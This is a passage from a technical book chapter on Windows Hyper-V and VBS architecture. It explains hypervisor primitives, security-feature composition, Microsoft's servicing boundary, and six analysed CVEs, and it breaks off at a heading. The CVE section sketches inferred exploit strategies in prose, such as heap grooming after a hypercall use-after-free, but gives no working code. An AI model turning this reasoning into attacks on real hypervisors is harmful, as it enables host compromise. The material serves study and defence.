Alex Ionescu's Black Hat USA 2015 deck "Battle of SKM and IUM: How Windows 10 Rewrites OS Architecture" reverse-engineered the entire VSM stack within four weeks of Windows 10 RTM [277]. The vocabulary Ionescu introduced has become the canonical research language for talking about VBS: VTL as "synthetic ring level managed by the hypervisor"; trustlets for the user-mode processes that run inside VTL1's Isolated User Mode; Signature Level 12 plus the IUM EKU 1.3.6.1.4.1.311.10.3.37 as the loader's signing requirement. Microsoft's own developer documentation now uses the same terms [310].

The pivot, then, was not a sudden re-architecture. It was the cash-out of a deliberate multi-year engineering plan that began at least twenty-two months before Windows 10 RTM. To see what VBS actually enforces (and which hypervisor primitive backs each piece of that enforcement), we need to walk the hypervisor's public surface. There are five surfaces. They are the architectural body of the chapter.

The five primitives: The hypervisor's public surface

What does the Windows hypervisor actually look like as a piece of software? It is a small kernel, on the order of one to two hundred thousand lines of C and C++ by community estimate; Microsoft has not published a primary line count. It has five externally visible surfaces, all of which are documented in the Hyper-V Top-Level Functional Specification (TLFS) v6.0b [407]. We walk them in turn.

Primitive one: Partitions, VMBus, and the VSP/VSC pair

A partition is the hypervisor's unit of isolation. From the Microsoft architecture page: "The Microsoft hypervisor must have at least one parent, or root, partition, running Windows. The virtualization management stack runs in the parent partition and has direct access to hardware devices. The root partition then creates the child partitions which host the guest operating systems" [406]. The root partition is a full Windows install with privileged hypercalls and direct access to hardware; each child partition is a guest VM with only the hardware the root has chosen to expose.

A guest VM does I/O over the VMBus. A network packet, for example, travels from the guest application down to the guest's Windows NDIS stack; through the synthetic NIC miniport driver (the VSC) in the guest's kernel; over the VMBus message channel; into the network VSP in the root partition; into the root's real NDIS stack; into the physical NIC driver; out the wire. The hypervisor's role in this chain is structural: it owns the VMBus message channel, the SynIC interrupts that notify the VSP and VSC of new traffic, and the per-partition SLAT mappings that decide which bytes either side can read.

The architectural implication is that device emulation lives in the root partition, not in the hypervisor binary. The TCB the hypervisor binary itself has to protect is narrow. The TCB the root partition's drivers have to protect is much wider, but those drivers live in normal Windows kernel mode, where Microsoft has thirty years of tooling. That design explains why so many public Hyper-V boundary bugs are in vmswitch.sys, storage/integration VSPs, or other root-partition components, while true hvix64.exe / hvax64.exe bugs are rarer and more interesting.

Primitive two: The hypercall ABI

Hypercalls are how partitions request services from the hypervisor. The TLFS documents two flavors. A fast hypercall passes its parameters inline in CPU registers: on x64, rcx carries a 64-bit hypercall input value (the low 16 bits are the call code; the upper 48 bits are a control word with fields for the Fast flag, variable-header size, Rep Count, and Rep Start Index), rdx carries the first input parameter, and r8 carries the second. A slow hypercall instead passes the GPA (guest physical address) of an input-parameter page in rdx, and the GPA of an output-parameter page in r8; the actual parameter content lives in those pages. The instruction that triggers the hypercall is vmcall on Intel and vmmcall on AMD; the hypervisor maps both onto the same internal entry point [407].

The call-code space is small and well-documented: a few hundred codes, each one a structured request with typed inputs and outputs. The hypercall path is also where the most consequential 2024 Hyper-V CVE lived. CVE-2024-21407 was a use-after-free in hvix64.exe's handling of a specific hypercall, the rare case where the bug was in the hypervisor binary itself rather than in a root-partition driver [418].

Primitive three, intercepts

Intercepts are how the hypervisor virtualizes guest behavior. The TLFS distinguishes four categories: instruction intercepts (CPUID, MSR reads/writes, I/O-port instructions), exception intercepts (page faults, general protection faults), memory-access intercepts (a guest tries to read or write a specific guest-physical-address region), and partition-state intercepts (a guest hits a state that the hypervisor wants to be notified about). Each is configured per-partition through the Intel VMCS execution-control bits or the AMD VMCB control fields [407].

For VBS, the load-bearing intercept is the memory-access intercept. When VTL0 code tries to access a region whose VTL0 SLAT mapping is unreadable or unwritable, the access traps to the hypervisor with the offending GPA; the hypervisor can deliver the intercept to the VTL1 Secure Kernel as a secure call, letting VTL1 see what VTL0 was trying to do and decide whether to allow it. This is how HVCI's W^X enforcement is wired: a VTL0 page that is marked writable in VTL0's SLAT is marked non-executable in the same SLAT; an attempt to switch the same page to executable becomes a memory-access intercept that VTL1 must approve.

Primitive four: The synthetic interrupt controller (SynIC)

The Synthetic Interrupt Controller, SynIC, is the hypervisor's per-virtual-processor event delivery surface. Each VP has 16 Synthetic Interrupt Source (SINT) lines, a message page (where the hypervisor places message-shaped events), an event-flag page (where it places bit-flag events), and a set of synthetic timers. SynIC is the signaling surface VMBus uses to notify endpoints; the VMBus payload itself moves through shared-memory ring buffers. SynIC also delivers VTL transitions between VTL0 and VTL1 inside the root partition [407].

For VBS, the secure-call ABI (the way VTL0 code asks VTL1 to do something) is built on SynIC. A VTL0 caller writes a request into a shared message page, signals a SINT, and yields the CPU; the hypervisor switches SLAT context to VTL1, delivers the message, and lets VTL1 read the request. When VTL1 finishes, it signals a SINT back to VTL0 and the hypervisor switches contexts again. Credential Guard's whole communication path between VTL0 LSASS and VTL1 LSAISO is one of these secure-call channels.

Primitive five: Memory and per-VTL SLAT

The last surface is also the most important: memory. Guest physical addresses (GPAs) are translated to system physical addresses (SPAs) by per-partition SLAT page tables. The hypervisor has exclusive control of these tables; no partition, including the root, can read or modify them directly. For VBS specifically, the hypervisor maintains two SLAT mappings per partition (one for VTL0 and one for VTL1) and switches between them on VTL transitions.

This is the architectural reason VTL0 kernel mode, even with full Ring-0 code execution, cannot read or execute VTL1 memory. The VTL0 page-table walker on a load from a VTL1-only page does not see the page at all; the SLAT walker on the host returns no mapping; the hardware MMU raises an EPT/NPT violation; the hypervisor handles the violation according to the VTL0 partition's intercept policy. In the security-relevant case, the hypervisor delivers an access-denied result to VTL0 and continues. There is no kernel-mode mov instruction sequence that can defeat this, because the gating happens in hardware page-table walks that VTL0 kernel mode cannot influence.

Five surfaces. In the public record reviewed for this chapter, the exploitable Hyper-V boundary breaks since 2018 concentrate on two input-heavy surfaces: the hypercall ABI and device-emulation paths exposed through VMBus/root-partition services. The other three primitives (intercepts, SynIC, and per-VTL SLAT) remain the substrate on which VBS, HVCI, Credential Guard, and System Guard Secure Launch are built. That is a narrower and better-supported claim than "the primitives cannot fail": the primitives are code too, but the published failures cluster where untrusted structured input is parsed. We turn to those compositions next.

How Windows composes the five primitives

The hypervisor itself does not know anything about credentials, code signing, application allowlisting, or DMA protection. It knows about partitions, VTLs, intercepts, SLAT entries, and hypercalls. Each Windows security feature is built by composing those primitives in a specific way. The mapping is precise and worth walking, because it is what makes the substrate a security primitive rather than just a virtualization product [188].

HVCI / Memory Integrity. Hypervisor-Enforced Code Integrity, the subject of the Code Integrity chapter (Chapter 8), is the most consequential VBS feature on a per-byte basis: it changes Windows from a system that lets the kernel execute any signed driver to one where the kernel cannot execute any page until VTL1 has approved it. VTL1's code-integrity service inspects every kernel-mode page mapping change request before the SLAT entry that would make the page executable in VTL0 is granted. The W^X invariant (a single page can be writable or executable, but never both) is enforced not by NT kernel cooperation but by the per-VTL SLAT, exactly as the Memory and per-VTL SLAT primitive set out earlier. An NT-kernel attempt to mark a writable page executable becomes a memory-access intercept that VTL1's CI service evaluates [279]. The hypervisor primitives composed: per-VTL SLAT + memory-access intercepts + secure-call ABI.

Credential Guard. LSAISO.EXE (the LSA-Isolated trustlet) runs in VTL1 Isolated User Mode. Selected long-term secrets and derivation operations that LSASS used to expose in normal VTL0 memory are moved behind LSAISO in VTL1 memory that VTL0 cannot read. VTL0 LSASS still brokers authentication and can hold non-protected runtime material depending on protocol and configuration; it performs protected credential operations by sending a request to LSAISO over a secure-call channel mediated by the hypervisor's SynIC. LSAISO does the protected work and returns a result without mapping its private secret state into VTL0. This is why a Ring-0 attacker on a properly configured Credential Guard-enabled Windows install cannot simply dump the protected LSASS secrets from lsass.exe: the long-term material is not there in VTL0 [310,87]. The hypervisor primitives composed: per-VTL SLAT (to hide LSAISO's memory) + SynIC (to deliver secure calls) + intercepts (to catch VTL0 attempts to access LSAISO memory). See the Credential Guard chapter (Chapter 15) for the VTL1 internals.

Application Control (App Control for Business / WDAC). WDAC, the subject of the App Control chapter (Chapter 13), is a code-integrity policy system, not a magic VTL1 database. Policy files are deployed through documented Windows management channels and, depending on configuration, can be signed, locked, or enforced by UEFI/Secure Boot policy. The VBS-relevant part is narrower: when Memory Integrity / HVCI is enabled, kernel-mode code-integrity decisions and executable page transitions are protected by the VTL1 code-integrity path. User-mode WDAC enforcement still involves ordinary Windows loader and Code Integrity components; the hypervisor-backed value is that a compromised VTL0 kernel cannot simply patch the VTL1 CI decision path or mark arbitrary kernel pages executable behind its back [279]. The hypervisor primitives composed: per-VTL SLAT for the CI engine's protected state, memory-access intercepts for executable mappings, and secure calls for policy decisions that must cross into the protected CI service.

VBS Enclaves. VBS enclaves are best understood as a documented application-facing use of the same isolation substrate, exposed through Windows enclave APIs rather than by letting arbitrary applications issue raw hypercalls. The application creates and loads enclave pages through the normal Windows API surface; the kernel and Secure Kernel arrange the protected VTL1 execution context; calls into the enclave cross a controlled transition boundary. The security property is memory isolation from VTL0, not that the application has become a hypervisor peer. The hypervisor primitives composed: per-VTL SLAT to hide enclave pages from VTL0, SynIC/secure-call machinery for transitions, and Secure Kernel policy for creation, measurement, invocation, and teardown.

System Guard Secure Launch (DRTM). Intel TXT's SENTER instruction (and AMD's SKINIT on AMD platforms) executes a hardware-rooted dynamic measurement of the hypervisor and the Secure Kernel into TPM PCRs 17-22 after firmware initialization [104]. This re-establishes the trust root post-firmware: a pre-boot firmware compromise that survived UEFI Secure Boot cannot silently poison the hypervisor's launch state without showing up as an unexpected measurement in a PCR that VTL1 can read. The hypervisor primitives composed: DRTM event registration with the hardware + TPM PCR extension + a VTL1-side attestation API. See the Secure Boot chapter (Chapter 1) for the static-RTM half of the same story.

Kernel DMA Protection. External devices over Thunderbolt, USB4, or hot-plug PCIe can issue DMA to arbitrary physical addresses, bypassing the CPU's MMU entirely. Kernel DMA Protection is a Windows policy and platform-coordination system: firmware must expose DMA-remapping hardware, the Windows kernel and Plug and Play stack classify external hot-plug devices and authorize driver-created DMA domains, and the Hyper-V/VBS platform participates in keeping the IOMMU state aligned with the protected-memory story [45]. The hypervisor-adjacent primitives composed: IOMMU-backed DMA remapping + Windows driver policy + early boot handoff from firmware.

The shape of the table is the point.

The pattern: each feature is a different composition of the same five primitives (partitions, hypercalls, intercepts, SynIC, per-VTL SLAT). The hypervisor is genuinely a primitive in the formal sense. A small set of mechanisms that compose into many security policies. If the hypervisor is the mechanism, the boundary the hypervisor enforces is the contract. Microsoft commits to servicing certain attacks against that boundary and explicitly excludes others. To know what we are getting, we need to read the contract.

The security boundary Microsoft commits to

The Microsoft Security Servicing Criteria for Windows is a public document. It enumerates which classes of attack Microsoft will issue a CVE and service through a security update for, and which it will not. For the hypervisor, the document is unusually specific [301].

The two relevant boundaries:

• Hypervisor / virtualization boundary. An L1-guest-to-host or guest-to-guest break is a serviced boundary. If a guest VM can execute code in the root partition or in another guest's address space, Microsoft will issue a CVE.
• Virtual Secure Mode (VBS) boundary. VTL0 kernel-mode code reading or writing VTL1 memory, or executing VTL1 code, is a serviced break. If a Ring-0 attacker in VTL0 can defeat the per-VTL SLAT, Microsoft will issue a CVE.

What the servicing criteria does not commit to is also worth naming. A same-VTL elevation of privilege inside a guest (a guest user becoming guest SYSTEM) is not a hypervisor break. It is a Windows EoP, serviced under the Windows kernel boundary, not the hypervisor boundary. A denial-of-service of the host from a guest is generally not a serviced hypervisor break unless it produces a memory corruption that an attacker can ride to RCE. An administrator in the root partition reading guest memory is not a break at all: the root partition is part of the hypervisor's TCB by definition, and root-partition admin is hypervisor-admin in the threat model.

The dollar figures for these boundaries are documented in the Microsoft Hyper-V Bounty Program [419]. The program ranges from $5,000 for the lowest-impact qualifying submission up to $250,000 for the highest. The eligibility language is verbatim:

An eligible submission includes a Remote Code Execution (RCE) vulnerability in Microsoft Hyper-V that enables a L1 guest virtual machine to compromise the hypervisor, escape from the guest virtual machine to the host, or escape to another L1 guest virtual machine.: Microsoft Hyper-V Bounty Program [419]

$250,000 is the highest standing Hyper-V bounty figure this chapter found in a vendor-published hypervisor program. That is a deliberately narrow claim: it compares public standing program ceilings, not private bug-market prices, government purchases, or one-off contest prizes. KVM is a community project with no single vendor-paid standing pool of equivalent published size. Xen runs a public HackerOne program but does not advertise a $250,000 guest-to-host ceiling. Broadcom/VMware does not publish a standing ESXi bounty ceiling in the same form; public ESXi payouts often appear through Pwn2Own and similar contests, where ZDI sets the prize for that event.

The table is a calibration sidebar, not a like-for-like proof: the programs below differ in disclosure rules, funding model, contest-vs-standing payout, and whether their strongest claim is operational servicing or formal proof.

The seL4 row is included because seL4 is the only hypervisor in the table whose claim to a security boundary is mathematical rather than operational. seL4 ships approximately ten thousand lines of C and assembly with a machine-checked proof of functional correctness against a higher-level specification. The proof took roughly twenty-five person-years and covers a microkernel that does not by itself ship the full surface area of Hyper-V. The Microsoft hypervisor is unverified at the previously noted 100,000-200,000-line estimate, an order of magnitude larger; its security argument is operational (a small TCB, heavy fuzzing, a standing bounty, public servicing) rather than mathematical.

A serviced boundary is a contract. Contracts are not promises; they are obligations that come due when an attacker finds a way around them. To see what the contract has actually had to pay out, we read the public CVE record.

Verify it yourself (documented)

This chapter has no captured lab evidence. The following blocks are deliberately 🔵 DOCUMENTED: real commands a reader can run, with expected shapes and value meanings taken from Microsoft documentation and from the source material, not captured on our lab VM. That is the honest evidence level for this chapter.

Windows Boot Loader
-------------------
identifier              {current}
...
hypervisorlaunchtype    Auto

hypervisorlaunchtype Auto is the boot-entry setting that permits the Windows hypervisor to launch. Off is the opt-out state. The important audit detail is not merely that the line exists; it is that no VBS-disabling load options accompany it.

AvailableSecurityProperties          : {1, 2, 3, 5, 6, 7}
RequiredSecurityProperties           : {1, 2}
SecurityServicesConfigured           : {1, 2}
SecurityServicesRunning              : {1, 2}
VirtualizationBasedSecurityStatus    : 2

Documented meanings:
1 = hypervisor support; 2 = Secure Boot; 3 = DMA protection;
5 = NX protections; 6 = SMM mitigations; 7 = MBEC/GMET.
SecurityServicesRunning: 1 = Credential Guard; 2 = memory integrity.
VirtualizationBasedSecurityStatus: 2 = VBS enabled and running.

The exact array varies by hardware and policy. The point of the surface is that it separates hardware eligibility (AvailableSecurityProperties) from policy requirement (RequiredSecurityProperties) and from runtime state (SecurityServicesRunning, VirtualizationBasedSecurityStatus).

Hyper-V Requirements:      VM Monitor Mode Extensions: Yes
                           Virtualization Enabled In Firmware: Yes
                           Second Level Address Translation: Yes
                           Data Execution Prevention Available: Yes

When a hypervisor is already running, Windows may instead report:
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

This is the coarse hardware gate: VM monitor extensions, firmware virtualization, SLAT, and DEP. It tells you whether the machine can host the boundary. It does not, by itself, prove that VBS services are running.

HyperVisorPresent                                 : True
HyperVRequirementDataExecutionPreventionAvailable : True
HyperVRequirementSecondLevelAddressTranslation    : True
HyperVRequirementVirtualizationFirmwareEnabled    : True
HyperVRequirementVMMonitorModeExtensions          : True

HyperVisorPresent is the useful quick check: the hypervisor is actually present. The HyperVRequirement* fields are eligibility checks. In adversarial conditions, corroborate this with Win32_DeviceGuard and boot-time events; any VTL0-reported surface can be lied about by a VTL0 kernel attacker.

Where this link breaks. six worked CVEs across three classes

We do not need an exhaustive Hyper-V CVE catalog to understand the boundary's real shape. Six worked examples, drawn from three distinct attack classes, cover the public failure modes that matter for this chapter: root-partition device emulation, hypercall input validation, and VTL0-to-VTL1 secure-call dispatch. We walk them in order.

Class A: Device emulation in the root partition

CVE-2021-28476 (vmswitch.sys, May 2021, CVSS 9.9). Discovered by Ophir Harpaz at Guardicore Labs and Peleg Hadar at SafeBreach Labs using Guardicore's hAFL1 hypervisor fuzzer, this was a guest-controlled OID_SWITCH_NIC_REQUEST OID parameter passed to the host-side vmswitch.sys driver. The driver dereferenced an attacker-influenced object pointer; the host kernel performed an arbitrary pointer dereference, which MSRC rated as guest-to-host RCE in the root partition's kernel mode (the demonstrated primitive was an arbitrary host-kernel read/dereference). The CVSS 9.9 score (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) reflects guest-to-host RCE with Azure-scale blast radius: the bug was reachable from the vmswitch driver shipped in Windows builds well before the May 2021 patch, per the Guardicore Labs technical analysis [422]. The bug is the canonical anchor for "device emulation in the root partition is the largest Hyper-V attack surface."

CVE-2025-21333 (NT Kernel Integration VSP, January 2025, CWE-122). The first publicly-acknowledged in-the-wild exploited Hyper-V CVE, and a useful boundary lesson precisely because it is not a guest-to-host escape. It is a local elevation of privilege (CVSS 7.8, AV:L) in vkrnlintvsp.sys, the Hyper-V NT Kernel Integration VSP that ties the Windows kernel-mode container architecture to Hyper-V's VSP/VSC pattern. A low-privilege caller in a confined context (for example a Windows Sandbox / AppContainer silo) triggers a heap-based buffer overflow in the host-side VSP and, through an I/O-ring primitive, escalates to SYSTEM on the host [423]. By the chapter's own taxonomy this is a Windows kernel elevation serviced under the Windows boundary, not a hypervisor break; it earns its place here as the first such bug found exploited in the wild (CISA KEV), not as a guest escape.

Class B: The hypercall input-validation path

Class B is the one a reader should slow down for, because it is the class where the guest is no longer merely feeding packets to a root-partition driver. It is invoking the hypervisor's own ABI. Public advisories for the 2024 Class-B bugs do not publish Microsoft source, vulnerable function names, or exploit traces. The worked examples below therefore use only three kinds of evidence: the TLFS hypercall contract, the NVD/MSRC metadata and CWE labels, and the invariant every hypercall handler must satisfy. Where a mechanism is reconstructed from those public facts rather than named by Microsoft, the text says so.

The call path is fixed. A guest writes the hypercall input value in rcx, places either inline parameters or GPA pointers in rdx/r8, executes vmcall or vmmcall, and enters the common hypervisor dispatch path. The dispatcher decodes the low 16-bit call code, validates the control word (Fast, variable-header size, rep count, rep start), maps any guest-physical input page into a hypervisor-readable window, copies or pins the relevant bytes, calls the per-code handler, writes output, unmaps/unpins transient mappings, and resumes the guest. The object-lifetime rule is equally fixed: any object derived from guest state (a mapped parameter page, a partition object, a VP object, a message port, a file-operation context, a continuation for a repeated hypercall) must remain valid for exactly the interval in which the handler can dereference it, and it must not trust guest memory after validation unless that memory is copied or pinned.

CVE-2024-21407 (Hyper-V hypercall UAF, March 2024, CVSS 8.1, CWE-416). This is the clean lifetime example. The publicly documented part identifies a use-after-free in the hypervisor binary (hvix64.exe / hvax64.exe) and describes specially crafted hypercalls [418]. The inferred exploit shape to reason about is a two-phase object: a hypercall creates or looks up an operation context, associates guest-supplied state with it, and later completes, cancels, or retries that operation. A safe handler has to maintain a reference while any completion path, retry path, or output-copy path can still touch the context. A UAF means one of those paths dropped the last reference too early, then continued to dereference a stale pointer. The inferred attacker shape is not mystical: issue hypercalls that force the context through an unusual error/cancel/rep-start sequence; reclaim or influence the freed allocation with another hypervisor allocation of compatible size; then cause the stale path to read a field, write through a pointer, or call through a vtable-like dispatch slot. In that inferred shape, the exploitability hinge is object reuse. If the freed bytes are still allocator poison, the host crashes. If the attacker can groom the hypervisor heap so the same address now contains attacker-shaped data, the stale dereference becomes host-code execution. That is why CWE-416 is more informative here than the phrase "RCE": the boundary failed because a hypervisor-owned object's lifetime no longer dominated every call path that could use it.

CVE-2024-30092 (Hyper-V RCE, October 2024, CWE-20 + CWE-829). This advisory is less generous with mechanism, so the honest worked example is a validation-boundary reconstruction, not a claim about a named private function. The publicly documented labels are CWE-20 and CWE-829: an input accepted from the guest was not sufficiently validated, and trusted code incorporated functionality or behavior from an untrusted control sphere [424]. As an inferred exploit shape in a hypercall handler, that combination usually means the guest supplied not merely data but a selector, descriptor, GPA, length, feature bit, or continuation state that changed which trusted code path ran. The safe pattern is: decode the call code; reject reserved bits; bound Rep Count; verify variable-header length; translate guest physical addresses only through the caller's partition; copy the descriptor to hypervisor-owned memory; validate every embedded length and offset against that copied descriptor; then dispatch only to operations the caller's partition is allowed to request. The failure pattern is: validate the outer header, then let an inner guest-controlled field select an implementation path, an imported helper, or a nested object type before proving that field belongs to the trusted grammar. The object-lifetime version is a descriptor-lifetime bug: the "object" is not necessarily heap memory; it can be a validated interpretation of guest bytes. If the handler validates bytes under interpretation A, then later reuses the same bytes under interpretation B, the validation object has expired even though no allocation was freed. CVE-2024-30092 belongs in Class B because the attacker crosses the boundary at the hypercall ABI, and the bug class says the ABI parser let guest-controlled meaning survive too far into trusted execution.

CVE-2024-49117 (Hyper-V RCE, December 2024, CVSS 8.8, CWE-393 in public vulnerability databases). This one is best read as a status-lifetime example, explicitly inferred from the public CWE rather than from a Microsoft-published root-cause trace. CWE-393, "Return of Wrong Status Code," is easy to underrate because it sounds like a bookkeeping mistake. In a hypervisor, status is authority. A handler commonly performs a sequence like: map input page; validate header; acquire partition/VP object; perform operation; copy output; release objects; return a hypercall status. Downstream cleanup and the guest-visible continuation path both branch on that status. If a failure path returns success, later code can consume uninitialized output, commit a partially initialized object, or skip cleanup because it believes ownership transferred. If a success path returns a retry/failure status, the dispatcher may free or roll back an object that another path will still use. The object lifetime is therefore encoded in the status code. A wrong status can turn a valid reference into a dangling one, or keep an invalid object reachable across the next repeated hypercall. The inferred worked exploit shape is: craft a request that reaches a rare validation or resource-exhaustion branch; force the handler to return the status for the wrong ownership state; then make a follow-up hypercall that exercises the mismatched state machine. The public advisory does not tell us which object was mismatched. It tells us enough to identify the systems lesson: in the hypercall ABI, status values are not cosmetics; they are the state machine that decides who owns each object after the call returns [425].

The three Class-B bugs are different on the surface (freed memory, improper validation plus untrusted control, wrong status) but the invariant they violate is the same. A hypercall handler must convert untrusted guest state into hypervisor-owned state exactly once, attach a lifetime to that state, and make every later branch prove it is still operating inside that lifetime. The moment guest bytes can be reinterpreted, an object can outlive its reference, or a status code can lie about ownership, the "small" hypervisor TCB has the same bug class as any other parser.

Class C: VTL0-to-VTL1 (the VBS break, not the hypervisor break)

CVE-2020-0917 and CVE-2020-0918: Amar and King, Black Hat USA 2020. Saar Amar and Daniel King's "Breaking VSM by Attacking SecureKernel" disclosed two paired vulnerabilities discovered with their Hyperseed hypercall fuzzer retargeted at securekernel!IumInvokeSecureService, the secure-call entry point. Vulnerability #1 (which maps to CVE-2020-0917) is an out-of-bounds write in securekernel!SkmmObtainHotPatchUndoTable, the function that parses the hot-patch undo table at secure-call invocation time.

Vulnerability #2 (CVE-2020-0918) is a design flaw in SkmmUnmapMdl that lets VTL0 pass a fully attacker-controlled Memory Descriptor List to SkmiReleaseUnknownPTEs.

The Microsoft response is documented end-to-end in the same deck: the Secure Kernel pool was migrated to segment heap in mid-2019, four W+X regions were reduced to +X only, and SkpgContext (a HyperGuard equivalent for Secure Kernel) was introduced.

This is a different failure class than vmswitch RCE: not guest-to-host, but VTL0-to-VTL1. A Secure Kernel break reached through the hypervisor's secure-call dispatch from a privileged VTL0 attacker. Microsoft services it under the VBS / VSM boundary in the servicing criteria document, even though no guest VM is involved.

The Pwn2Own dimension

Through Pwn2Own Berlin 2025, no public live Hyper-V guest-to-host escape has been demonstrated at Pwn2Own. The cross-vendor analog (and the industry's best calibration of how hard a hypervisor escape is to find when a researcher has a public dollar incentive and a deadline) is the first-ever ESXi escape in Pwn2Own history, executed by Nguyen Hoang Thach of STAR Labs SG on Day Two (May 16, 2025) using a single integer overflow vulnerability (the affected subsystem and full mechanism were withheld pending the vendor patch). The award was $150,000 plus 15 Master of Pwn points; STAR Labs went on to win overall Master of Pwn for the competition with $320,000 across three days [420].

The full mechanism was not disclosed within the coordinated-disclosure window, but the exploit class is structurally the same as the vmswitch family: structured, attacker-shaped input parsed by a host-side component that then corrupts host memory, just landed in a different vendor's device-emulation path.

This is the third insight the chapter is built around. The reader's prior model may have been "hypervisors fail in mysterious, deep ways; the boundary is fragile in unknown places." The better model is narrower: the public, documented examples reviewed here live in three code paths: root-partition device emulation, hypercall input validation, and VTL0-to-VTL1 secure-call dispatch. The narrowness of the failure space is evidence for the micro-kernelized design, but it is not a theorem. A future SynIC or SLAT-management bug would still be a hypervisor bug. The claim is empirical and dated: in the public record this chapter cites, attacker-shaped structured input is where the boundary has paid out.

Six worked examples; three classes; one boundary; an unflinching public record. The boundary is alive: Microsoft publishes and services real Hyper-V/VBS boundary CVEs rather than pretending the layer is perfect. The examples above live on inputs the hypervisor or its trusted Windows-side components are supposed to control. The interesting question is what lives in places they do not control.

Where this link breaks: Beneath, beside, and around

The hypervisor enforces two clean, serviced boundaries against code above it: VTL0 cannot read VTL1 inside the root partition, and an L1 child guest cannot cross into the root partition or another guest. It cannot, by construction, enforce anything against what lives below or beside it. Three structural classes of residual attack matter. We walk each.

Firmware below the hypervisor

System Management Mode (SMM), the UEFI runtime, the platform Manageability Engine (Intel ME), and the AMD Platform Security Processor (PSP) all sit outside the hypervisor's authority for at least part of the machine's life. SMM is the cleanest example. An SMI interrupts all cores, saves processor state into SMRAM, and runs OEM firmware code in a mode whose memory access is not mediated by the guest's page tables or by VTL policy. If SMRAM protections are wrong, or if an SMI handler copies attacker-controlled buffers without correct bounds checks, SMM code can read or write the same DRAM that contains the hypervisor. From the hypervisor's point of view, SMM is not a lower-privileged caller. It is platform firmware arriving from underneath.

System Guard Secure Launch is Microsoft's answer to one half of that problem: launch integrity. Static Secure Boot measures and verifies a boot chain that firmware helped start. DRTM deliberately starts later. Intel TXT SENTER or AMD SKINIT invokes a CPU-vendor authenticated code module, quiesces the machine into a measured launch environment, establishes protected launch state, and extends TPM PCRs 17-22 with measurements of the late-launch components before handing control to the hypervisor and Secure Kernel [104,188]. The PCR detail matters. PCR extension is append-only: PCRnew = Hash(PCRold || measurement). A compromised pre-boot component cannot simply write a preferred value into PCR 17 after the fact. Remote attestation can therefore distinguish "this measured hypervisor launched through the DRTM path" from "some earlier firmware path claimed it did."

DRTM does not make firmware disappear. It narrows what a pre-launch compromise can hide. Post-launch SMM remains residual because SMIs can arrive after the hypervisor is running. Microsoft's SMM protection work tries to constrain that residual by requiring compatible hardware, using IOMMU and memory protections around SMM ranges, and reporting SMM mitigation availability through Device Guard / System Information surfaces [104]. The remaining hard cases are platform-specific: an OEM SMI handler that can still be triggered by the OS; a firmware update path that installs vulnerable SMM code; a board that lacks Secure Launch support; or a management engine/PSP issue below the CPU-visible launch chain. None of those is "Hyper-V failed to enforce SLAT." They are cases where the thing attacking Hyper-V was never inside the hierarchy Hyper-V controls.

Hardware side channels

SLAT answers the architectural question: can VTL0 translate this address to that physical page with this permission? Side channels ask a different question: did transient execution, cache fill, predictor training, fill-buffer forwarding, or a stale TLB entry leave a measurable trace of data the architecture says should be inaccessible? Spectre mistrains control flow so transient instructions touch data-dependent cache lines. Meltdown-class bugs let faulting loads transiently forward data before the architectural fault retires. L1TF abused terminal-fault behavior to infer data from L1D. MDS sampled internal buffers. Retbleed revived branch-target mistraining across return paths. These attacks do not require the hypervisor to map VTL1 memory into VTL0. They exploit CPU implementation state that sits below the permission check's architectural contract.

For Hyper-V and VBS, the important detail is scheduling and sharing. Two VTLs or two partitions may share a physical core over time, share branch predictors, share caches, or share simultaneous-multithreading sibling resources. A perfect SLAT policy can still leave a pattern: "after VTL1 ran, this cache set is hot" or "after the host handled this hypercall, this predictor entry changed." The mitigation playbook therefore lives partly in the hypervisor scheduler and partly in CPU microcode: flush or partition predictor state on sensitive transitions, use IBRS/STIBP/retpolines where appropriate, avoid scheduling hostile SMT siblings for high-risk workloads, clear L1D on VM entry/exit for L1TF-class issues, and use Kernel Virtual Address Shadow for Meltdown-class kernel/user separation. HyperClear was Microsoft's Hyper-V-specific L1TF mitigation family: on affected Intel processors, it combined core scheduling and cache-clearing so a guest could not sample stale L1D data from another security domain.

The residual is not "Microsoft forgot a mitigation." It is that software mitigations are fences around implementation behavior, not proofs about it. Each new CPU family changes predictor structures, buffer forwarding, SMT behavior, and microcode semantics. Confidential-computing systems such as Intel TDX and AMD SEV-SNP improve the trust model by encrypting guest memory and reducing hypervisor visibility, but they do not claim universal resistance to Spectre-class leakage. VBS is in the same position. It can ensure VTL0 lacks an architectural mapping to VTL1 secrets; it cannot, by software alone, prove the processor never encodes a bit of those secrets into timing.

IOMMU and DMA bypass

The CPU MMU mediates loads and stores issued by cores. DMA is different: a PCIe device can bus-master reads and writes without executing CPU instructions at all. The IOMMU (Intel VT-d or AMD-Vi) adds a second translation path for devices. A device is identified by requester ID; the IOMMU indexes a root/context table for that device or PCIe function; DMA addresses are translated through I/O page tables into system physical addresses; permissions decide whether the transaction completes. If a Thunderbolt controller, USB4 dock, NVMe device, or malicious FPGA is allowed to DMA with a broad identity mapping, it can write the hypervisor's memory without ever asking the CPU page-table walker for permission. SLAT never fires because no CPU load occurred.

Kernel DMA Protection is Windows' attempt to make the IOMMU policy match the VBS story. On supported systems, external hot-plug PCIe-class devices are blocked from DMA until the user signs in and an approved driver stack has created explicit DMA remapping domains. The device gets mappings only for buffers the OS intentionally exposes. In practical terms, the safe path is: firmware leaves DMA remapping enabled or at least not hostile; the Windows boot path and hypervisor take ownership early; the Plug and Play / driver stack identifies whether the device is external and remappable; the IOMMU context for that requester ID starts denied; the driver asks for DMA buffers; Windows maps only those pages; and unplug/logoff transitions tear the mappings back down [45].

The deep residuals are all in the seams. Pre-boot DMA: before Windows owns the IOMMU, firmware or option ROMs may leave devices able to DMA. Identity and aliasing: PCIe features such as requester-ID aliasing, Access Control Services, Address Translation Services (ATS), and Page Request Interface (PRI) complicate the assumption that the IOMMU sees exactly the requester the OS thinks it authorized. ATS lets a device cache translations; PRI lets a device request page mappings; both are legitimate performance features, but they enlarge the state that must be invalidated on policy changes. Firmware handoff: if the BIOS disables VT-d/AMD-Vi, hides remapping units, or misdescribes them in ACPI tables, Windows cannot build the intended protection. Physical attacks: Thunderspy showed why "external PCIe behind a nice connector" is still PCIe: with physical access and vulnerable controller firmware, a malicious peripheral can target memory unless remapping is active and correctly scoped [426]. The hypervisor can own the IOMMU only after the platform exposes a correct IOMMU to own.

Hypervisor downgrade and rollback

